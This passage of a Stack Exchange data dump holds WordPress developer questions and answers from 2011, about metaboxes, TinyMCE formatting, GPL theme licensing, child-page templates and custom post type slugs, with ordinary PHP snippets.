  <row Id="13285" PostTypeId="2" ParentId="13277" CreationDate="2011-03-28T13:55:43.300" Score="0" ViewCount="" Body="&lt;p&gt;This tutorial in the codex gives a straightforward overview of the process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the &lt;code&gt;ajaxurl&lt;/code&gt; variable is already defined by WP core (at least in the admin area), so you don't need to add it again.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-28T16:48:11.870" LastActivityDate="2011-03-28T16:48:11.870" CommentCount="2" />
  <row Id="13286" PostTypeId="1" AcceptedAnswerId="13321" CreationDate="2011-03-28T14:53:18.677" Score="0" ViewCount="42" Body="&lt;p&gt;I have modified the buddpress admin bar by creating the following plugin which adds a simple text link to the bar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bp_adminbar_currentsite_menu() {&#xA;&#xA;global $bp;&#xA;?&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;!-- Insert your link url or relative url, and your link text below --&amp;gt;&#xA;&amp;lt;a href=&quot;http://EXAMPLE.COM&quot;&amp;gt;EXAMPLE LINK TEXT&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;// Call The Function Above&#xA;add_action('bp_adminbar_menus', 'bp_adminbar_currentsite_menu', 999);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I do NOT want the above link to be shown when logged into the wordpress admin backend (so for example when an admin is editing a post). I thought about just doing a &lt;code&gt;php_self&lt;/code&gt; check to see if it contained &quot;/wp-admin/&quot; but figured that there has to be a more elegant wordpress/buddypress hook here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the above code to only show when you are viewing a normal blog page, NOT in the admin area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3811" LastActivityDate="2011-03-28T19:54:15.173" Title="modify buddpress adminbar only in admin pages" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;buddypress&gt;&lt;api&gt;" AnswerCount="1" />
  <row Id="13288" PostTypeId="1" CreationDate="2011-03-28T15:23:56.123" Score="0" ViewCount="141" Body="&lt;p&gt;I'm trying to display a monthly archive but only for a certain category. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2011-03-30T14:45:49.833" Title="Category Specific Archive" Tags="&lt;categories&gt;&lt;archive&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13292" PostTypeId="1" AcceptedAnswerId="13298" CreationDate="2011-03-28T16:32:22.843" Score="0" ViewCount="150" Body="&lt;p&gt;When creating a new post, by entering either manually or pasting from another document, TinyMCE (the default WordPress editor) does not seem to hold any type of formatting. For instance I create a two paragraph entry. When viewing it on the page it will come through as a single chunk of text within &lt;code&gt;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&lt;/code&gt;. It's forcing me to have to revisit posts quite a bit and manually entering paragraph tags &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure what's causing this issue. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-28T19:04:25.393" Title="Wordpress no longer holding post formatting" Tags="&lt;tinymce&gt;&lt;formatting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13293" PostTypeId="1" AcceptedAnswerId="13311" CreationDate="2011-03-28T16:38:02.203" Score="0" ViewCount="320" Body="&lt;p&gt;I have a custom metabox made using the code from Wordpress Reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Define the custom box */&#xA;&#xA;// WP 3.0+&#xA;// add_action('add_meta_boxes', 'myplugin_add_custom_box');&#xA;&#xA;// backwards compatible&#xA;add_action('admin_init', 'myplugin_add_custom_box', 1);&#xA;&#xA;/* Do something with the data entered */&#xA;add_action('save_post', 'myplugin_save_postdata');&#xA;&#xA;/* Adds a box to the main column on the Post and Page edit screens */&#xA;function myplugin_add_custom_box() {&#xA;    add_meta_box( &#xA;        'myplugin_sectionid',&#xA;        __( 'My Post Section Title', 'myplugin_textdomain' ),&#xA;        'myplugin_inner_custom_box',&#xA;        'post' &#xA;    );&#xA;    add_meta_box(&#xA;        'myplugin_sectionid',&#xA;        __( 'My Post Section Title', 'myplugin_textdomain' ), &#xA;        'myplugin_inner_custom_box',&#xA;        'page'&#xA;    );&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function myplugin_inner_custom_box() {&#xA;&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;       _e(&quot;Description for this field&quot;, 'myplugin_textdomain' );&#xA;  echo '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;text&quot; id=&quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot; value=&quot;whatever&quot; size=&quot;25&quot; /&amp;gt;';&#xA;}&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function myplugin_save_postdata( $post_id ) {&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) &#xA;  {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;  else&#xA;  {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;&#xA;  $mydata = $_POST['myplugin_new_field'];&#xA;&#xA;  // Do something with $mydata &#xA;  // probably using add_post_meta(), update_post_meta(), or &#xA;  // a custom table (see Further Reading section below)&#xA;&#xA;   return $mydata;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I'm not sure how to display it's value on each page?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;    $meta = get_post_meta($post-&amp;gt;ID, 'myplugin_new_field'); &#xA;&#xA;    var_dump($meta);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;array(0) {}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In addition, metabox field doesn't update it's value after clicking updating post/or page. That's because input value=&quot;whathever&quot; while it should be something like the code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final code that is not updating inputs value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Define the custom box */&#xA;add_action('add_meta_boxes', 'myplugin_add_custom_box');&#xA;&#xA;// backwards compatible&#xA;add_action('admin_init', 'myplugin_add_custom_box', 1);&#xA;&#xA;/* Do something with the data entered */&#xA;add_action('save_post', 'myplugin_save_postdata');&#xA;&#xA;/* Adds a box to the main column on the Post and Page edit screens */&#xA;function myplugin_add_custom_box() {&#xA;    add_meta_box( &#xA;        'metabox_sidebar_select',&#xA;        __( 'My Post Section Title', 'myplugin_textdomain' ),&#xA;        'myplugin_inner_custom_box',&#xA;        'post' &#xA;    );&#xA;    add_meta_box(&#xA;        'metabox_sidebar_select',&#xA;        __( 'My Post Section Title', 'myplugin_textdomain' ), &#xA;        'metabox_sidebar_select',&#xA;        'page'&#xA;    );&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function myplugin_inner_custom_box() {&#xA;&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;       _e(&quot;Description for this field&quot;, 'myplugin_textdomain' );&#xA;  echo '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;text&quot; id=&quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot; value=&quot;'.get_post_meta($post-&amp;gt;ID, 'myplugin_new_field',true).'&quot; size=&quot;25&quot; /&amp;gt;';  &#xA;}&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function myplugin_save_postdata( $post_id ) {&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) &#xA;  {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;  else&#xA;  {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;&#xA;  $mydata = $_POST['myplugin_new_field'];&#xA;&#xA;  // Do something with $mydata &#xA;  // probably using add_post_meta(), update_post_meta(), or &#xA;  // a custom table (see Further Reading section below)&#xA;&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, myplugin_new_field, $mydata);&#xA;&#xA;   return $mydata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-03-30T11:11:19.190" LastActivityDate="2011-03-30T13:28:16.363" Title="Getting metabox value?" Tags="&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13294" PostTypeId="1" AcceptedAnswerId="13304" CreationDate="2011-03-28T16:42:01.813" Score="0" ViewCount="54" Body="&lt;p&gt;So, I've read through &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5744/what-does-exactly-gpl-license-mean-for-my-wordpress-theme&quot;&gt;this question&lt;/a&gt; about licensing of PHP code under the GPL v2. As well as the compromise of the Thesis theme developer, as far as licensing all PHP under the GPL, but copyrighting js, css, images, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is does &lt;strong&gt;ALL&lt;/strong&gt; php have to be GPL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this scenario:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;the php that generates the wp content/layout is under GPL&lt;/li&gt;&#xA;  &lt;li&gt;the JS is copyrighted (similar to the question linked above)&lt;/li&gt;&#xA;  &lt;li&gt;the JS makes AJAX requests to php code that generates certain data&lt;/li&gt;&#xA;  &lt;li&gt;this data-generating php code uses it's own datalayer (not wordpress's) and uses no wordpress code. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can the data-generating php (separated into a different folder within the theme) be licensed other than GPL?&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-03-28T17:23:39.953" Title="Premium theme licensing of php called through AJAX" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="13295" PostTypeId="2" ParentId="13294" CreationDate="2011-03-28T16:45:19.720" Score="1" ViewCount="" Body="&lt;p&gt;The position of the WordPress project leadership is clear: all PHP is derivative of WordPress, and therefore must be GPL. There are those who disagree, and licensing disputes abound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, this point remains: regardless of who is right and who is wrong, if you want your work to be recognized in/accepted by the WordPress community, use GPL.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T16:45:19.720" CommentCount="1" />
  <row Id="13296" PostTypeId="2" ParentId="10473" CreationDate="2011-03-28T16:48:43.420" Score="0" ViewCount="" Body="&lt;p&gt;@Chok &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gravity Forms is one of my favorite WordPress plugins and it has a great user registration option that will allow you to register users as well as create new sites on a multi-site blog when they register.  Goodluck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gravityforms.com/add-ons/user-registration/&quot; rel=&quot;nofollow&quot;&gt;Check out Gravity Forms here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-03-28T16:48:43.420" />
  <row Id="13297" PostTypeId="2" ParentId="668" CreationDate="2011-03-28T16:55:43.237" Score="0" ViewCount="" Body="&lt;p&gt;Recent Post with a featured image on the side, or any image from the_content on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this &lt;a href=&quot;http://prntscr.com/1oj69&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/1oj69&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4271" LastActivityDate="2011-03-28T16:55:43.237" CommunityOwnedDate="2011-03-28T16:55:43.237" />
  <row Id="13298" PostTypeId="2" ParentId="13292" CreationDate="2011-03-28T16:56:39.293" Score="1" ViewCount="" Body="&lt;p&gt;TinyMCE - at least, as-configured for WordPress - isn't explicitly designed for copying/pasting of text richly formatted in other word processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said: how are you pasting? Are you simply copy/pasting (i.e. via CTRL-C, CTRL-V; or else via right-clicking and using contextual menu commands), or are you using the &quot;Paste From Word&quot; button on the TinyMCE toolbar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using the &quot;Paste From Word&quot; button, please give it a try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) On the TinyMCE toolbar, click the &quot;Kitchen Sink&quot; button (last button on the right, on the top row of buttons)&#xA;2) Additional rows of buttons will appear&#xA;3) On the second row of buttons, click the &quot;Paste From Word&quot; button (the icon is a clipboard with a &quot;Word&quot; icon, &quot;W&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you removing the wpautop() filter? Look for something like this in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'wpautop' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would definitely cause the line-break issue you're seeing.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-28T19:04:25.393" LastActivityDate="2011-03-28T19:04:25.393" CommentCount="10" />
  <row Id="13299" PostTypeId="2" ParentId="13280" CreationDate="2011-03-28T17:02:25.260" Score="0" ViewCount="" Body="&lt;p&gt;Its possible, you can get the next post date to compare using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;get_adjacent_post&lt;/a&gt; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); &#xA;&#xA;//hold current date&#xA;$curent_date = $post-&amp;gt;post_date;&#xA;//fix the format to YYYY-MM-DD&#xA;$curent_date = substr($curent_date,0,strpos($curent_date,&quot; &quot;));&#xA;$next_post = get_adjacent_post(false,'',false) ;&#xA;if (!$next_post == ''){&#xA;    //get next post's date&#xA;    $next_date = $next_post-&amp;gt;post_date;&#xA;    //fix the format to YYYY-MM-DD&#xA;    $next_date = substr($next_date,0,strpos($next_date,&quot; &quot;));&#xA;    if ($next_date != $curent_date){//last post of the date&#xA;        the_date('l jS F Y','&amp;lt;h2 class=&quot;lats-of-date&amp;gt;','&amp;lt;/h2&amp;gt;');&#xA;    }&#xA;}else{&#xA; the_date('l jS F Y','&amp;lt;h2&amp;gt;','&amp;lt;/h2&amp;gt;'); &#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;hr /&amp;gt;   &#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;                  &#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;                                     &#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;             &#xA;&amp;lt;/div&amp;gt; &amp;lt;?php endwhile; ?&amp;gt; &amp;lt;hr class=&quot;btm&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-28T17:02:25.260" CommentCount="2" />
  <row Id="13300" PostTypeId="1" AcceptedAnswerId="13302" CreationDate="2011-03-28T17:12:24.383" Score="0" ViewCount="103" Body="&lt;p&gt;I tried deleting the plugin, reinstalling, and entering a new api key. However, I get this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The owner of that API Key (username)&#xA;  is not on the access list for this&#xA;  blog (blog id). Stats was installed&#xA;  using a different API key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can install the Wordpress.com Stats plugin with a new api key?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-28T17:19:33.637" Title="Installed Wordpress.com Stats with api key and forgot key. How can I register w/ new key?" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="13301" PostTypeId="2" ParentId="668" CreationDate="2011-03-28T17:15:05.417" Score="4" ViewCount="" Body="&lt;p&gt;These are the features currently on my short-list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Media Management&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to see development/improvement of Media Management given priority status for some near-future release, such that the &quot;Media&quot; post-type assumes analogous feature-parity with e.g. the &quot;Post&quot; and &quot;Page&quot; post-types. Media should have a proper taxonomy system. Media (and Galleries) should be able to be managed on their own (i.e. rather than only being able to be managed through the Post to which they are attached). Media (and Galleries) should be able to be attached, unattached, and reattached to Posts or Pages much more easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, much of the functionality of a Plugin such as NextGen Gallery should be incorporated into core (in whatever appropriate manner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Widgets UI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, of all the admin interfaces, the Appearance -&gt; Widgets UI is the one most in need of improvement. It is great for a limited number of Widgets, and an even-more-limited number of Widgetized Sidebars; but the UX rapidly degrades with too many Widgets and (especially) with too many Sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a UX expert/designer, but if I were to propose something, I would prefer to see a single-column Widget listing (preferably with self-contained scrolling), and the majority of the screen real-estate devoted to the Sidebars. Further, I would like for the previous state of expanded/collapsed Sidebars to be retained, rather than the lowest-ID sidebar always being expanded on pageload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Theme install/uninstall/activate/deactivate hooks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These hooks will bring Theme functionality and standardization more in line with Plugins. I've actually volunteered to attempt to provide patches for these for 3.2, so wish me luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) A development roadmap&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to see the core development team lay out a development roadmap that covers at least 3-5 major revisions into the future. Such a roadmap would give the user community the opportunity to weigh in on the anticipated feature additions/changes, and would help focus developer community input/contribution for each release.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T17:15:05.417" CommunityOwnedDate="2011-03-28T17:15:05.417" />
  <row Id="13302" PostTypeId="2" ParentId="13300" CreationDate="2011-03-28T17:17:30.223" Score="1" ViewCount="" Body="&lt;p&gt;Actually, you should be using the &lt;a href=&quot;http://wordpress.org/extend/plugins/jetpack/&quot; rel=&quot;nofollow&quot;&gt;JetPack&lt;/a&gt; plugin now, not the stats plugin.  Automattic (the team behind WordPress.com) have begun bundling their stats system with a few other features (social network sharing, LaTeX support, to name a couple) and &lt;a href=&quot;http://jetpack.me/faq/&quot; rel=&quot;nofollow&quot;&gt;aren't updating the older systems any more&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JetPack will use oAuth to connect to your WordPress.com account and will automatically select the right blog.  If it doesn't, you should &lt;a href=&quot;http://en.support.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;contact their support team&lt;/a&gt; directly to ask for help.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-28T17:17:30.223" />
  <row Id="13303" PostTypeId="2" ParentId="13300" CreationDate="2011-03-28T17:19:33.637" Score="0" ViewCount="" Body="&lt;p&gt;Did you try logging into your wordpress.com account, and grabbing your existing API key?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T17:19:33.637" />
  <row Id="13304" PostTypeId="2" ParentId="13294" CreationDate="2011-03-28T17:23:39.953" Score="1" ViewCount="" Body="&lt;p&gt;The data generating PHP, if it truly stands alone and doesn't use any WordPress code or WordPress' data layer, can be licensed as a standalone library.  You can use any license you want here without any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issues come when you start &lt;em&gt;distributing&lt;/em&gt; your code.  If you want your theme hosted in the theme repository on WordPress.org, it &lt;em&gt;must&lt;/em&gt; be GPL-compatible.  That means you have to use either GPL or a more permissible license on your extra library ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're distributing things yourself, you just have to make a very clear distinction between the parts of the theme that are GPL and the parts that aren't.  But since you'll be bundling a part that's &lt;em&gt;not&lt;/em&gt; GPL, you can't distribute the entire package as GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, all PHP does not have to be GPL unless you're distributing the entire package under the terms of the GPL.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-28T17:23:39.953" />
  <row Id="13305" PostTypeId="1" AcceptedAnswerId="13310" CreationDate="2011-03-28T17:45:24.107" Score="1" ViewCount="69" Body="&lt;p&gt;Is it possible within the current theme file naming hierarchy to define a template for for all pages that are a child of a specific page?  For example, in this navigation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Us&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contact&lt;/li&gt;&#xA;&lt;li&gt;Who We Are&lt;/li&gt;&#xA;&lt;li&gt;Message Statement&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any way to just make a theme file named something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page-about-us-all.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would automatically be applied to all pages that are children of About Us?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went with a modified version of what Bainternet had suggested.  Here's the descendant function I ended up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_descendant($ancestor, $tofind = 0) {&#xA;    global $post;&#xA;    if ($tofind == 0) $tofind = $post-&amp;gt;ID;&#xA;    $arrpostids = get_post_ancestors($tofind);&#xA;    $arrpostslugs = array();&#xA;    foreach($arrpostids as $postid) {&#xA;        $temppost = get_post($postid);&#xA;        array_push($arrpostslugs, $temppost-&amp;gt;post_name);&#xA;    }&#xA;    return (in_array($ancestor, $arrpostids) || in_array($ancestor, $arrpostslugs));&#xA;}&#xA;// Example use:&#xA;is_descendant('about-us');&#xA;is_descendant(123);&#xA;is_descendant('about-us', 134);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows me to verify it's a descendant using either the ID of the parent or the slug.  I was concerned that using only the ID might lead to a problem if a parent page had been accidentally trashed there would be no good way to get that to work again without having to edit the Theme files.  With the slug at least there's the option of just hopping in and making a new page with the same slug and hierarchy.&lt;/p&gt;&#xA;" OwnerUserId="3032" LastEditorUserId="3032" LastEditorDisplayName="" LastEditDate="2011-03-31T20:21:43.593" LastActivityDate="2011-03-31T20:21:43.593" Title="Theme file for all pages that are a child of a specific page" Tags="&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="13306" PostTypeId="2" ParentId="13305" CreationDate="2011-03-28T17:54:15.397" Score="0" ViewCount="" Body="&lt;p&gt;This is not possible, by default, in the WordPress templating system. The &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt; does not detect the parent-child Page relationship. However, I did find &lt;a href=&quot;http://www.graphicbeacon.com/web-design-development/wordpress/how-to-manipulate-child-pages-to-use-parent-page-templates-automatically/&quot; rel=&quot;nofollow&quot;&gt;this blog post, explaining a method&lt;/a&gt; to automate the process. I've not tried to implement it, so I don't vouch for its effectiveness, but it is at least worth a read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: this blog post hooks its function into 'save_post', which means that Page Template switching happens only when the post is saved. This should &lt;em&gt;generally&lt;/em&gt; work, since changing the Parent Page requires a save action. However, you may need a different hook, if you need to perform retroactive Page Template updates.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T17:54:15.397" />
  <row Id="13307" PostTypeId="1" AcceptedAnswerId="13309" CreationDate="2011-03-28T17:59:12.627" Score="0" ViewCount="142" Body="&lt;p&gt;I inserted an excerpt into a Page using the &quot;More&quot; button in WP GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom loop-page.php from which I want to display the excerpt. But it appears to be empty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to display excerpts from child pages? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pageChildren = get_pages('sort_column=menu_order&amp;amp;hierarchical=0&amp;amp;child_of='.$post-&amp;gt;ID);&#xA;if ( $pageChildren ) {&#xA;  foreach ( $pageChildren as $pageChild ) {&#xA;    echo '&amp;lt;p&amp;gt;And the title is: '. $pageChild-&amp;gt;post_title.'&amp;lt;/p&amp;gt;';&#xA;        print_r($pageChild);&#xA;        if (!empty($pageChild-&amp;gt;post_excerpt)){&#xA;            echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;' . get_permalink($pageChild-&amp;gt;ID) . '&quot;&amp;gt;' . $pageChild-&amp;gt;post_excerpt.'&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt; ';&#xA;        }&#xA;        echo '&amp;lt;hr /&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZtWrv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="4013" LastEditorDisplayName="" LastEditDate="2011-03-28T18:40:28.380" LastActivityDate="2011-03-28T19:15:27.290" Title="Excerpts for Pages" Tags="&lt;page-template&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="13308" PostTypeId="1" CreationDate="2011-03-28T18:20:06.930" Score="3" ViewCount="486" Body="&lt;p&gt;I'm creating a theme with a custom post type for team members, I've also got the following page structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;about  &amp;lt;-- this is a page&#xA;about/team-members  &amp;lt;-- this is a page, lists all the team members&#xA;about/team-members/joe-bloggs  &amp;lt;-- this is a custom post type (team member) entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third structure here uses the about and team member pages, but goes on to use the custom post type slug to make it look like it's parents are team member and about. I've achieved this by setting the following options on the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'about/team-members', 'with_front' =&amp;gt; false)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great, however when I get down to the team member post level I no longer get the current-page, current-ancestor classes on the parent pages. I know why this is, because we're not technically 